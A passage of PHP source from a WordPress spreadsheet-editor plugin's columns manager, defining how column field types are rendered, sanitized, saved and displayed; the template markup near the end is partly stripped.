$this->get_column_settings( $key, $post_type ); } if ( ! empty( $column_settings['is_read_only'] ) && $column_settings['is_read_only'] === 'yes' ) { $out['is_locked'] = true; if ( method_exists( 'WP_Sheet_Editor_Columns', '_make_column_read_only' ) ) { $out = WP_Sheet_Editor_Columns::_make_column_read_only( $out ); } } if ( ! empty( $column_settings['user_capabilities_can_read'] ) ) { $out['user_capabilities_can_read'] = $column_settings['user_capabilities_can_read']; } if ( ! empty( $column_settings['user_capabilities_can_edit'] ) ) { $out['user_capabilities_can_edit'] = $column_settings['user_capabilities_can_edit']; } return $out; } function get_formatted_column_settings( $key, $post_type, $column = array() ) { $column_settings = $this->get_column_settings( $key, $post_type ); $out = array(); $allow_custom_format = empty( $column ) || ! empty( $column['allow_custom_format'] ); if ( $allow_custom_format ) { $out = $this->get_custom_format_column_settings( $key, $post_type, $column_settings ); } if ( ! empty( $column_settings['is_read_only'] ) && $column_settings['is_read_only'] === 'yes' ) { $out['is_locked'] = true; if ( method_exists( 'WP_Sheet_Editor_Columns', '_make_column_read_only' ) ) { $out = WP_Sheet_Editor_Columns::_make_column_read_only( $out ); } } if ( ! empty( $column_settings['user_capabilities_can_read'] ) ) { $out['user_capabilities_can_read'] = $column_settings['user_capabilities_can_read']; } if ( ! empty( $column_settings['user_capabilities_can_edit'] ) ) { $out['user_capabilities_can_edit'] = $column_settings['user_capabilities_can_edit']; } return $out; } function get_custom_format_column_settings( $key, $post_type, $column_settings = null ) { $out = array(); // Skip if field type = automatic if ( ! is_array( $column_settings ) ) { $column_settings = $this->get_column_settings( $key, $post_type ); } if ( empty( $column_settings['field_type'] ) ) { return $out; } if ( $column_settings['field_type'] === 'text' ) { $out['formatted'] = array( 'data' => $key, ); $out['default_value'] = ''; } elseif ( $column_settings['field_type'] === 'button' ) { $out['formatted'] = array( 'data' => $key, 'renderer' => 'wp_external_button', 'readOnly' => true, ); $out['unformatted'] = $out['formatted']; } elseif ( $column_settings['field_type'] === 'text_editor' ) { $out['formatted'] = array( 'data' => $key, 'renderer' => 'wp_tinymce', ); } elseif ( $column_settings['field_type'] === 'select' && ! empty( $column_settings['allowed_values'] ) ) { $lines = array_map( 'trim', preg_split( '/\r\n|\r|\n/', $column_settings['allowed_values'] ) ); $column_options = array(); foreach ( $lines as $line ) { $line_parts = array_map( 'trim', explode( ':', $line ) ); $label = isset( $line_parts[1] ) ? $line_parts[1] : $line_parts[0]; $option_key = $line_parts[0]; $column_options[ $option_key ] = $label; } $out['formatted'] = array( 'data' => $key, 'editor' => 'select', 'selectOptions' => $column_options, ); if ( empty( VGSE()->options['enable_plain_select_cells'] ) ) { $out['formatted']['renderer'] = 'wp_friendly_select'; } } elseif ( $column_settings['field_type'] === 'multi_select' && ! empty( $column_settings['multi_select_allowed_values'] ) ) { $lines = array_map( 'trim', preg_split( '/\r\n|\r|\n/', $column_settings['multi_select_allowed_values'] ) ); $column_options = array(); foreach ( $lines as $line ) { $line_parts = array_map( 'trim', explode( ':', $line ) ); $label = isset( $line_parts[1] ) ? $line_parts[1] : $line_parts[0]; $option_key = $line_parts[0]; $column_options[] = array( 'id' => $option_key, 'label' => $label, ); } $out['formatted'] = array( 'renderer' => 'wp_chosen_dropdown', 'data' => $key, 'editor' => 'chosen', 'source' => $column_options, 'chosenOptions' => array( 'multiple' => true, 'search_contains' => true, // 'skip_no_results' => true, 'data' => $column_options, ), ); $out['prepare_value_for_database'] = array( $this, 'prepare_multi_select_for_database' ); $out['prepare_value_for_display'] = array( $this, 'prepare_multi_select_for_display' ); $out['columns_manager_settings'] = $column_settings; } elseif ( $column_settings['field_type'] === 'checkbox' && ! empty( $column_settings['checked_template'] ) ) { $out['formatted'] = array( 'data' => $key, 'type' => 'checkbox', 'checkedTemplate' => $column_settings['checked_template'], 'uncheckedTemplate' => $column_settings['unchecked_template'], ); $out['default_value'] = $column_settings['unchecked_template']; } elseif ( $column_settings['field_type'] === 'date' && ! empty( $column_settings['date_format_save'] ) ) { $out = $this->get_format_settings_for_date_column( $key, $column_settings['date_format_save'], $column_settings['date_format_display'] ); $out['columns_manager_settings'] = $column_settings; } elseif ( $column_settings['field_type'] === 'date_time' && ! empty( $column_settings['date_time_format_save'] ) ) { $out = $this->get_format_settings_for_date_time_column( $key, $column_settings['date_time_format_save'], $column_settings['date_time_format_display'] ); $out['columns_manager_settings'] = $column_settings; } elseif ( $column_settings['field_type'] === 'file' ) { $out['type'] = $column_settings['allow_multiple_files'] ? 'boton_gallery_multiple' : 'boton_gallery'; $out['formatted'] = array( 'data' => $key, 'renderer' => 'wp_media_gallery', ); $out['wp_media_multiple'] = true; $out['columns_manager_settings'] = $column_settings; $out['prepare_value_for_database'] = array( $this, 'prepare_files_for_database' ); $out['prepare_value_for_display'] = array( $this, 'prepare_files_for_display' ); } elseif ( $column_settings['field_type'] === 'url' ) { $out['formatted'] = array( 'data' => $key, ); $out['custom_sanitization_before_saving'] = 'esc_url_raw'; } elseif ( $column_settings['field_type'] === 'email' ) { $out['formatted'] = array( 'data' => $key, ); $out['custom_sanitization_before_saving'] = 'sanitize_email'; $out['value_type'] = 'email'; } elseif ( $column_settings['field_type'] === 'color_picker' ) { $out['formatted'] = array( 'editor' => 'wp_color_picker', 'data' => $key, ); $out['custom_sanitization_before_saving'] = 'sanitize_hex_color'; } elseif ( $column_settings['field_type'] === 'raw_html' && WP_Sheet_Editor_Helpers::current_user_can( 'unfiltered_html' ) ) { $out['formatted'] = array( 'data' => $key, ); $out['custom_sanitization_before_saving'] = 'strval'; } elseif ( $column_settings['field_type'] === 'number' ) { $out['formatted'] = array( 'data' => $key, ); $out['custom_sanitization_before_saving'] = 'intval'; } elseif ( $column_settings['field_type'] === 'currency' ) { $out['formatted'] = array( 'data' => $key, ); $out['prepare_value_for_database'] = array( $this, 'prepare_currency_for_database' ); $out['columns_manager_settings'] = $column_settings; } elseif ( $column_settings['field_type'] === 'term' ) { $taxonomy_filter = ( empty( $column_settings['taxonomy_filter'] ) ) ? $post_type : $column_settings['taxonomy_filter']; if ( ! empty( VGSE()->options['be_enable_fancy_taxonomy_cell'] ) ) { $formatted = array( 'data' => $key, 'editor' => 'chosen', 'source' => array( VGSE()->data_helpers, 'get_taxonomy_terms' ), 'callback_args' => array( $taxonomy_filter ), 'chosenOptions' => array( 'multiple' => ! empty( $column_settings['allow_multiple_terms'] ), 'search_contains' => true, 'create_option' => true, 'skip_no_results' => true, 'persistent_create_option' => true, 'data' => array(), ), ); } else { $hierarchy_tip = is_taxonomy_hierarchical( $taxonomy_filter ) ? __( '. Add child categories using this format: Parent > child1 > child2', 'vg_sheet_editor' ) : ''; $formatted = array( 'data' => $key, 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms', ); $multiple_tip = ''; if ( ! empty( $column_settings['allow_multiple_terms'] ) ) { $multiple_tip = __( 'Enter multiple terms separated by commas', 'vg_sheet_editor' ); } $formatted['comment'] = array( 'value' => $multiple_tip . $hierarchy_tip ); } $out['formatted'] = $formatted; $out['columns_manager_settings'] = $column_settings; $out['prepare_value_for_database'] = array( $this, 'prepare_terms_for_database' ); $out['prepare_value_for_display'] = array( $this, 'prepare_terms_for_display' ); $out['default_value'] = ''; $out['formatted']['taxonomy_key'] = $taxonomy_filter; } elseif ( $column_settings['field_type'] === 'post' ) { $out['formatted'] = array( 'data' => $key, 'type' => 'autocomplete', 'source' => 'searchPostByKeyword', 'searchPostType' => ( empty( $column_settings['post_type_filter'] ) ) ? $post_type : $column_settings['post_type_filter'], ); if ( $column_settings['allow_multiple_posts'] ) { $out['formatted']['comment'] = array( 'value' => __( 'Enter multiple post titles separated by commas', 'vg_sheet_editor' ) ); } $out['columns_manager_settings'] = $column_settings; $out['prepare_value_for_database'] = array( $this, 'prepare_posts_for_database' ); $out['prepare_value_for_display'] = array( $this, 'prepare_posts_for_display' ); $out['default_value'] = ''; } elseif ( $column_settings['field_type'] === 'user' ) { $out['formatted'] = array( 'data' => $key, 'type' => 'autocomplete', 'source' => 'searchUsers', ); $out['columns_manager_settings'] = $column_settings; $out['prepare_value_for_database'] = array( $this, 'prepare_user_for_database' ); $out['prepare_value_for_display'] = array( $this, 'prepare_user_for_display' ); $out['default_value'] = ''; } return $out; } function prepare_user_for_database( $post_id, $cell_key, $data_to_save, $post_type, $column_settings, $spreadsheet_columns ) { if ( empty( $data_to_save ) ) { return $data_to_save; } $manager_settings = $column_settings['columns_manager_settings']; $user = get_user_by( 'login', $data_to_save ); if ( ! $user ) { return ''; } $out = ''; if ( $manager_settings['user_saved_format'] === 'ID' ) { $out = $user->ID; } elseif ( $manager_settings['user_saved_format'] === 'user_login' ) { $out = $user->user_login; } elseif ( $manager_settings['user_saved_format'] === 'user_email' ) { $out = $user->user_email; } return $out; } function prepare_user_for_display( $value, $post, $column_key, $column_settings ) { if ( empty( $value ) ) { return ''; } $manager_settings = $column_settings['columns_manager_settings']; $user = get_user_by( str_replace( 'user_', '', $manager_settings['user_saved_format'] ), $value ); if ( ! $user ) { return ''; } $out = $user->user_login; return $out; } function prepare_terms_for_display( $value, $post, $column_key, $column_settings ) { global $wpdb; $out = ''; if ( empty( $value ) ) { return $out; } $separator = VGSE()->helpers->get_term_separator(); if ( is_string( $value ) ) { $terms = array_map( 'trim', explode( $separator, $value ) ); } elseif ( is_array( $value ) ) { $terms = $value; } $manager_settings = $column_settings['columns_manager_settings']; $save_format = $manager_settings['term_saved_format']; if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $save_format = VGSE()->helpers->sanitize_table_key( $save_format ); } if ( ! in_array( $save_format, array( 'term_id', 'name', 'slug' ), true ) ) { return $out; } if ( empty( $manager_settings['taxonomy_filter'] ) ) { $manager_settings['taxonomy_filter'] = $post_type; } $args = array( 'hide_empty' => false, 'taxonomy' => $manager_settings['taxonomy_filter'], 'update_term_meta_cache' => false, ); if ( $save_format == 'term_id' ) { $args['include'] = $terms; } elseif ( $save_format === 'slug' ) { $args['slug'] = $terms; } elseif ( $save_format === 'name' ) { $term_ids = VGSE()->data_helpers->prepare_post_terms_for_saving( implode( $separator, $terms ), $manager_settings['taxonomy_filter'] ); $args['include'] = $term_ids; } else { return $out; } $term_objects = get_terms( $args ); $out = VGSE()->data_helpers->prepare_post_terms_for_display( $term_objects ); return $out; } function prepare_terms_for_database( $post_id, $cell_key, $data_to_save, $post_type, $column_settings, $spreadsheet_columns ) { if ( empty( $data_to_save ) ) { return $data_to_save; } $manager_settings = $column_settings['columns_manager_settings']; $save_format = $manager_settings['term_saved_format']; if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $save_format = VGSE()->helpers->sanitize_table_key( $save_format ); } if ( ! in_array( $save_format, array( 'term_id', 'name', 'slug' ), true ) ) { return ''; } if ( empty( $manager_settings['taxonomy_filter'] ) ) { $manager_settings['taxonomy_filter'] = $post_type; } $separator = VGSE()->helpers->get_term_separator(); $raw_term_names = array_map( 'trim', explode( $separator, $data_to_save ) ); if ( empty( $manager_settings['allow_multiple_terms'] ) ) { $term_names = array( $raw_term_names[0] ); } else { $term_names = $raw_term_names; } if ( $save_format === 'name' ) { $values = $term_names; } elseif ( $save_format === 'term_id' ) { $values = VGSE()->data_helpers->prepare_post_terms_for_saving( implode( $separator, $term_names ), $manager_settings['taxonomy_filter'] ); } elseif ( $save_format === 'slug' ) { $term_ids = VGSE()->data_helpers->prepare_post_terms_for_saving( implode( $separator, $term_names ), $manager_settings['taxonomy_filter'] ); $args = array( 'hide_empty' => false, 'include' => $term_ids, 'taxonomy' => $manager_settings['taxonomy_filter'], 'fields' => 'slugs', 'update_term_meta_cache' => false, ); $values = get_terms( $args ); } if ( $manager_settings['multiple_terms_format'] === 'comma' ) { $out = implode( $separator, $values ); } else { $out = $values; } return $out; } function prepare_posts_for_database( $post_id, $cell_key, $data_to_save, $post_type, $column_settings, $spreadsheet_columns ) { global $wpdb; if ( empty( $data_to_save ) ) { return $data_to_save; } $manager_settings = $column_settings['columns_manager_settings']; $save_format = $manager_settings['post_saved_format']; if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $save_format = VGSE()->helpers->sanitize_table_key( $save_format ); } if ( ! in_array( $save_format, array( 'ID', 'post_title', 'post_name' ) ) ) { return ''; } if ( empty( $manager_settings['post_type_filter'] ) ) { $manager_settings['post_type_filter'] = $post_type; } $post_titles = array_map( 'html_entity_decode', array_map( 'trim', explode( ',', $data_to_save ) ) ); $posts_in_query_placeholders = implode( ', ', array_fill( 0, count( $post_titles ), '%s' ) ); $values = $wpdb->get_col( $wpdb->prepare( "SELECT $save_format FROM $wpdb->posts WHERE post_type = %s AND post_title IN ($posts_in_query_placeholders) ", array_merge( array( $manager_settings['post_type_filter'] ), $post_titles ) ) ); if ( $manager_settings['multiple_posts_format'] === 'comma' ) { $out = implode( ',', $values ); } else { $out = $values; } return $out; } function prepare_multi_select_for_database( $post_id, $cell_key, $data_to_save, $post_type, $column_settings, $spreadsheet_columns ) { if ( empty( $data_to_save ) ) { return $data_to_save; } $manager_settings = $column_settings['columns_manager_settings']; $save_format = $manager_settings['multi_select_saved_format']; if ( $save_format === 'serialized' ) { $data_to_save = array_map( 'trim', explode( ',', $data_to_save ) ); } return $data_to_save; } function prepare_multi_select_for_display( $value, $post, $column_key, $column_settings ) { $out = ''; if ( empty( $value ) ) { return $out; } if ( is_string( $value ) ) { $out = $value; } elseif ( is_array( $value ) ) { $out = implode( ', ', $value ); } return $out; } function prepare_posts_for_display( $value, $post, $column_key, $column_settings ) { global $wpdb; $posts = ''; if ( empty( $value ) ) { return $posts; } if ( is_string( $value ) ) { $posts = array_map( 'trim', explode( ',', $value ) ); } elseif ( is_array( $value ) ) { $posts = $value; } $manager_settings = $column_settings['columns_manager_settings']; $save_format = $manager_settings['post_saved_format']; if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $save_format = VGSE()->helpers->sanitize_table_key( $save_format ); } if ( ! in_array( $save_format, array( 'ID', 'post_title', 'post_name' ) ) ) { return $posts; } if ( empty( $manager_settings['post_type_filter'] ) ) { $manager_settings['post_type_filter'] = $post->post_type; } if ( $save_format == 'ID' ) { $post_ids = $posts; } else { $posts_in_query_placeholders = implode( ', ', array_fill( 0, count( $posts ), '%s' ) ); $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type = %s AND $save_format IN ($posts_in_query_placeholders) ", array_merge( array( $manager_settings['post_type_filter'] ), $posts ) ) ); } $post_titles = array(); foreach ( $post_ids as $single_post ) { $post_titles[] = html_entity_decode( get_post_field( 'post_title', (int) $single_post, 'raw' ) ); } $out = implode( ', ', array_filter( $post_titles ) ); return $out; } function prepare_files_for_display( $value, $post, $column_key, $column_settings ) { $value = VGSE()->helpers->get_gallery_cell_content( $post->ID, $column_key, $column_settings['data_type'], $value ); return $value; } function get_format_settings_for_date_column( $key, $date_format_save, $date_format_display ) { $settings = array(); $settings['formatted'] = array( 'data' => $key, 'type' => 'date', 'customDatabaseFormat' => $date_format_save, 'dateFormatPhp' => $date_format_display, 'correctFormat' => true, 'defaultDate' => '', 'datePickerConfig' => array( 'firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1, 'yearRange' => array( 1900, (int) date( 'Y' ) + 20 ), ), ); $settings['prepare_value_for_database'] = array( $this, 'prepare_date_for_database' ); $settings['prepare_value_for_display'] = array( $this, 'format_date_for_cell' ); return $settings; } function get_format_settings_for_date_time_column( $key, $date_format_save, $date_format_display ) { $settings = array(); $settings['formatted'] = array( 'editor' => 'wp_datetime', 'data' => $key, 'type' => 'date', 'customDatabaseFormat' => $date_format_save, 'dateFormatPhp' => $date_format_display, 'correctFormat' => true, 'defaultDate' => '', 'datePickerConfig' => array( 'firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1, ), ); $settings['prepare_value_for_database'] = array( $this, 'prepare_date_for_database' ); $settings['prepare_value_for_display'] = array( $this, 'format_date_for_cell' ); return $settings; } function format_date_for_cell( $value, $post, $cell_key, $cell_args ) { $column_settings = $cell_args['columns_manager_settings']; if ( ! in_array( $column_settings['field_type'], array( 'date', 'date_time' ), true ) ) { return $value; } // Disabled this because it only worked with meta columns, we use the received $value as is // $value = VGSE()->helpers->get_current_provider()->get_item_meta( $post->ID, $cell_key, true, 'read' ); $format = $column_settings['field_type'] === 'date' ? 'Y-m-d' : 'Y-m-d H:i:s'; if ( ! empty( $column_settings[ $column_settings['field_type'] . '_format_display' ] ) ) { $format = $column_settings[ $column_settings['field_type'] . '_format_display' ]; } if ( ! empty( $value ) ) { $timestamp = preg_match( '/^-?\d{9,10}$/', $value ) ? (int) $value : strtotime( $value ); $value = date( $format, $timestamp ); } return $value; } function prepare_date_for_database( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { $column_settings = $cell_args['columns_manager_settings']; if ( ! in_array( $column_settings['field_type'], array( 'date', 'date_time' ), true ) ) { return $data_to_save; } if ( ! empty( $data_to_save ) ) { $save_format = $column_settings[ $column_settings['field_type'] . '_format_save' ]; $date = DateTime::createFromFormat( $column_settings[ $column_settings['field_type'] . '_format_display' ], $data_to_save ); if ( $date ) { $data_to_save = $date->format( $save_format ); } else { $data_to_save = date( $save_format, strtotime( $data_to_save ) ); } } return $data_to_save; } function prepare_files_for_database( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { $column_settings = $cell_args['columns_manager_settings']; if ( $column_settings['field_type'] !== 'file' ) { return $data_to_save; } if ( ! empty( $data_to_save ) ) { $urls = array_map( 'trim', explode( ',', $data_to_save ) ); if ( $column_settings['file_saved_format'] === 'id' ) { $file_ids = VGSE()->helpers->maybe_replace_urls_with_file_ids( $urls, $post_id ); } else { foreach ( $urls as $index => $url ) { $urls[ $index ] = remove_query_arg( 'wpId', $url ); } $file_ids = $urls; } if ( $column_settings['allow_multiple_files'] ) { $data_to_save = ( $column_settings['multiple_files_format'] === 'comma' ) ? implode( ',', $file_ids ) : $file_ids; } else { $data_to_save = current( $file_ids ); } } return $data_to_save; } function prepare_currency_for_database( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { $column_settings = $cell_args['columns_manager_settings']; if ( ! empty( $data_to_save ) && is_numeric( $data_to_save ) ) { $data_to_save = number_format( (float) $data_to_save, (int) $column_settings['currency_decimals'], $column_settings['decimal_separator'], $column_settings['thousands_separator'] ); } return $data_to_save; } function get_settings( $post_type = '' ) { if ( isset( $this->settings[ $post_type ] ) ) { return $this->settings[ $post_type ]; } else { $existing = get_option( $this->key ); if ( empty( $existing ) ) { $existing = array(); } if ( $post_type && empty( $existing[ $post_type ] ) ) { $existing[ $post_type ] = array(); } $this->settings[ $post_type ] = $existing; } return $this->settings[ $post_type ]; } function key_to_regex( $column_key ) { $regex = false; if ( ! empty( $column_key ) && preg_match( '/\d/', $column_key ) ) { $regex = '/' . str_replace( '/', '', preg_replace( '/[0-9]+/', '\d+', $column_key ) ) . '/'; } return $regex; } function save_column_settings_from_frontend_sheet( $post_id ) { $this->save_column_settings( get_post_meta( $post_id, 'vgse_post_type', true ) ); } function sanitize_column_settings( $dirty_column_settings ) { $cleaned_column_settings = array(); foreach ( $dirty_column_settings as $column_key => $args ) { $cleaned_column_settings[ sanitize_text_field( $column_key ) ] = array_filter( array( 'field_type' => isset( $args['field_type'] ) ? sanitize_text_field( $args['field_type'] ) : null, 'allowed_values' => isset( $args['allowed_values'] ) ? sanitize_textarea_field( $args['allowed_values'] ) : null, 'multi_select_allowed_values' => isset( $args['multi_select_allowed_values'] ) ? sanitize_textarea_field( $args['multi_select_allowed_values'] ) : null, 'multi_select_saved_format' => isset( $args['multi_select_saved_format'] ) ? sanitize_text_field( $args['multi_select_saved_format'] ) : null, 'checked_template' => isset( $args['checked_template'] ) ? sanitize_text_field( $args['checked_template'] ) : null, 'unchecked_template' => isset( $args['unchecked_template'] ) ? sanitize_text_field( $args['unchecked_template'] ) : null, 'user_saved_format' => isset( $args['user_saved_format'] ) ? sanitize_text_field( $args['user_saved_format'] ) : null, 'post_saved_format' => isset( $args['post_saved_format'] ) ? sanitize_text_field( $args['post_saved_format'] ) : null, 'post_type_filter' => isset( $args['post_type_filter'] ) ? sanitize_text_field( $args['post_type_filter'] ) : null, 'allow_multiple_posts' => isset( $args['allow_multiple_posts'] ) ? sanitize_text_field( $args['allow_multiple_posts'] ) : null, 'multiple_posts_format' => isset( $args['multiple_posts_format'] ) ? sanitize_text_field( $args['multiple_posts_format'] ) : null, 'term_saved_format' => isset( $args['term_saved_format'] ) ? sanitize_text_field( $args['term_saved_format'] ) : null, 'taxonomy_filter' => isset( $args['taxonomy_filter'] ) ? sanitize_text_field( $args['taxonomy_filter'] ) : null, 'allow_multiple_terms' => isset( $args['allow_multiple_terms'] ) ? sanitize_text_field( $args['allow_multiple_terms'] ) : null, 'multiple_terms_format' => isset( $args['multiple_terms_format'] ) ? sanitize_text_field( $args['multiple_terms_format'] ) : null, 'thousands_separator' => isset( $args['thousands_separator'] ) ? sanitize_text_field( $args['thousands_separator'] ) : null, 'decimal_separator' => isset( $args['decimal_separator'] ) ? sanitize_text_field( $args['decimal_separator'] ) : null, 'currency_decimals' => isset( $args['currency_decimals'] ) ? sanitize_text_field( $args['currency_decimals'] ) : null, 'file_saved_format' => isset( $args['file_saved_format'] ) ? sanitize_text_field( $args['file_saved_format'] ) : null, 'allow_multiple_files' => isset( $args['allow_multiple_files'] ) ? sanitize_text_field( $args['allow_multiple_files'] ) : null, 'multiple_files_format' => isset( $args['multiple_files_format'] ) ? sanitize_text_field( $args['multiple_files_format'] ) : null, 'date_format_save' => isset( $args['date_format_save'] ) ? sanitize_text_field( $args['date_format_save'] ) : null, 'date_format_display' => isset( $args['date_format_display'] ) ? sanitize_text_field( $args['date_format_display'] ) : null, 'date_time_format_save' => isset( $args['date_time_format_save'] ) ? sanitize_text_field( $args['date_time_format_save'] ) : null, 'date_time_format_display' => isset( $args['date_time_format_display'] ) ? sanitize_text_field( $args['date_time_format_display'] ) : null, 'is_read_only' => isset( $args['is_read_only'] ) ? sanitize_text_field( $args['is_read_only'] ) : '', 'user_capabilities_can_read' => isset( $args['user_capabilities_can_read'] ) ? sanitize_text_field( $args['user_capabilities_can_read'] ) : '', 'user_capabilities_can_edit' => isset( $args['user_capabilities_can_edit'] ) ? sanitize_text_field( $args['user_capabilities_can_edit'] ) : '', ) ); } return apply_filters( 'vg_sheet_editor/columns_manager/cleaned_column_settings', $cleaned_column_settings, $dirty_column_settings ); } function save_column_settings( $post_type, $custom_settings = array() ) { if ( $custom_settings ) { $_POST['column_settings'] = $custom_settings; } if ( ! isset( $_POST['column_settings'] ) ) { return; } $cleaned_column_settings = $this->sanitize_column_settings( $_POST['column_settings'] ); $existing = $this->get_settings( $post_type ); $existing[ $post_type ] = wp_parse_args( $cleaned_column_settings, $existing[ $post_type ] ); $existing = VGSE()->helpers->array_remove_empty( $existing ); update_option( $this->key, apply_filters( 'vg_sheet_editor/columns_manager/save_settings', $existing, $cleaned_column_settings, $post_type ), false ); // Clear the local cache $this->settings = array(); } /** * Enqueue frontend assets */ function enqueue_assets() { wp_enqueue_script( 'wp-sheet-editor-columns-manager', plugins_url( '/assets/js/init.js', __FILE__ ), array(), VGSE()->version ); } function format_column_settings( $column_settings ) { if ( empty( $column_settings ) ) { $column_settings = array(); } $default_settings = array( 'field_type' => '', 'allowed_values' => '', 'multi_select_allowed_values' => '', 'multi_select_saved_format' => '', 'checked_template' => '', 'unchecked_template' => '', 'user_saved_format' => '', 'post_saved_format' => '', 'post_type_filter' => '', 'allow_multiple_posts' => '', 'multiple_posts_format' => '', 'term_saved_format' => '', 'taxonomy_filter' => '', 'allow_multiple_terms' => '', 'multiple_terms_format' => '', 'thousands_separator' => '', 'decimal_separator' => '', 'currency_decimals' => '', 'file_saved_format' => '', 'allow_multiple_files' => '', 'multiple_files_format' => '', 'date_format_save' => '', 'date_format_display' => '', 'date_time_format_save' => '', 'date_time_format_display' => '', 'user_capabilities_can_read' => '', 'user_capabilities_can_edit' => '', 'is_read_only' => false, ); $column_settings = wp_parse_args( $column_settings, $default_settings ); return $column_settings; } function get_column_settings( $column_key, $post_type ) { $existing_settings = $this->get_settings( $post_type ); if ( isset( $existing_settings[ $post_type ][ $column_key ] ) ) { $column_settings = $existing_settings[ $post_type ][ $column_key ]; } elseif ( preg_match( '/\d/', $column_key ) ) { $regex_key = $this->key_to_regex( $column_key ); if ( $regex_key ) { foreach ( $existing_settings[ $post_type ] as $column_key => $raw_column_settings ) { if ( preg_match( $regex_key, $column_key ) ) { $column_settings = $raw_column_settings; break; } } } } if ( empty( $column_settings ) ) { $column_settings = array(); } return $column_settings = $this->format_column_settings( $column_settings ); } function render_settings_button( $column, $post_type ) { if ( ! apply_filters( 'vg_sheet_editor/columns_manager/can_render_button', true, $column, $post_type ) ) { return; } $column_options = array( 'custom_format' => false, 'read_only' => false, 'required_capabilities' => false, ); if ( ! empty( $column['allow_readonly_option_in_columns_manager'] ) ) { $column_options['read_only'] = array( $this, 'render_read_only_option' ); } if ( ! empty( $column['allow_role_restrictions_in_columns_manager'] ) ) { $column_options['required_capabilities'] = array( $this, 'render_required_capabilities_options' ); } if ( ! empty( $column['allow_custom_format'] ) ) { $column_options['custom_format'] = array( $this, 'render_custom_format_options' ); } $registered_column_options = array_filter( apply_filters( 'vg_sheet_editor/columns_manager/column_options', $column_options, $column, $post_type ) ); if ( empty( $registered_column_options ) ) { return; } $column_settings = $this->get_column_settings( $column['key'], $post_type ); ?>
    $callback ) { call_user_func( $callback, $option_key, $column, $post_type, $column_settings ); } do_action( 'vg_sheet_editor/columns_manager/after_settings_fields_rendered', $column, $post_type, $column_settings ); ?>
    __( 'Separated with commas', 'vg_sheet_editor' ), 'serialized' => __( 'Serialized array', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerFileSavedFormat'] = array( 'id' => __( 'File ID', 'vg_sheet_editor' ), 'url' => __( 'File URL', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerIsReadOnly'] = array( '' => __( 'Use default', 'vg_sheet_editor' ), 'yes' => __( 'Yes', 'vg_sheet_editor' ), 'no' => __( 'No', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerUserSavedFormat'] = array( 'ID' => __( 'ID', 'vg_sheet_editor' ), 'user_login' => __( 'Username', 'vg_sheet_editor' ), 'user_email' => __( 'Email', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerPostSavedFormat'] = array( 'ID' => __( 'ID', 'vg_sheet_editor' ), 'post_title' => __( 'Title', 'vg_sheet_editor' ), 'post_name' => __( 'Slug', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerMultipleTermsFormat'] = array( 'comma' => __( 'Saved them separated by comma', 'vg_sheet_editor' ), 'array' => __( 'Save them as serialized array', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerTermSavedFormat'] = array( 'term_id' => __( 'Term ID', 'vg_sheet_editor' ), 'name' => __( 'Name', 'vg_sheet_editor' ), 'slug' => __( 'Slug', 'vg_sheet_editor' ), ); $js_data['lazy_loaded_select_options']['columnsManagerTaxonomies'] = array_merge( array( '' => __( 'Same as the spreadsheet taxonomy', 'vg_sheet_editor' ), ), wp_list_pluck( get_taxonomies( array(), 'objects' ), 'label', 'name' ) ); $js_data['lazy_loaded_select_options']['columnsManagerPostTypes'] = array_merge( array( '' => __( 'Same as the spreadsheet post type', 'vg_sheet_editor' ), ), wp_list_pluck( VGSE()->helpers->get_all_post_types(), 'label', 'name' ) ); $js_data['lazy_loaded_select_options']['columnsManagerFormats'] = array( '' => __( 'Automatic', 'vg_sheet_editor' ), 'text' => __( 'Text', 'vg_sheet_editor' ), 'text_editor' => __( 'Text editor (tinymce)', 'vg_sheet_editor' ), 'select' => __( 'Single selection dropdown', 'vg_sheet_editor' ), 'multi_select' => __( 'Multi select dropdown', 'vg_sheet_editor' ), 'checkbox' => __( 'Checkbox', 'vg_sheet_editor' ), 'file' => __( 'File upload', 'vg_sheet_editor' ), 'date' => __( 'Date', 'vg_sheet_editor' ), 'date_time' => __( 'Date and time', 'vg_sheet_editor' ), 'user' => __( 'User dropdown', 'vg_sheet_editor' ), 'post' => __( 'Post dropdown', 'vg_sheet_editor' ), 'term' => __( 'Taxonomy term dropdown', 'vg_sheet_editor' ), 'currency' => __( 'Currency', 'vg_sheet_editor' ), 'url' => __( 'URL', 'vg_sheet_editor' ), 'email' => __( 'Email', 'vg_sheet_editor' ), 'number' => __( 'Number', 'vg_sheet_editor' ), 'button' => __( 'Clickable button', 'vg_sheet_editor' ), 'raw_html' => __( 'Raw HTML', 'vg_sheet_editor' ), 'color_picker' => __( 'Color picker', 'vg_sheet_editor' ), ); $capabilities = $this->_get_all_capabilities(); $js_data['lazy_loaded_select_options']['columnsManagerUserCapabilities'] = array_merge( array( '' => __( 'Default', 'vg_sheet_editor' ), ), array_combine( $capabilities, $capabilities ) ); return $js_data; } function render_custom_format_options( $option_key, $column, $post_type, $column_settings ) { $column_key = $column['key']; ?>





    External URLs are automatically imported into the media library.
    We will save the value in the format selected here', 'vg_sheet_editor' ); ?>


    List of formats. If you leave it empty, we\'ll use the default: Y-m-d', 'vg_sheet_editor' ); ?>

    List of formats. Example: Y-m-d', 'vg_sheet_editor' ); ?>

    List of formats. If you leave it empty, we\'ll use the default: Y-m-d H:i:s', 'vg_sheet_editor' ); ?>

    List of formats. Example: Y-m-d H:i:s', 'vg_sheet_editor' ); ?>

